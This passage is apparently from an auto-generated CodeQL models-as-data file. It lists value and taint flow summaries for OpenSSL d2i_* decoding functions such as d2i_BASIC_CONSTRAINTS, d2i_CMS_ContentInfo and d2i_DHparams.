"df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char 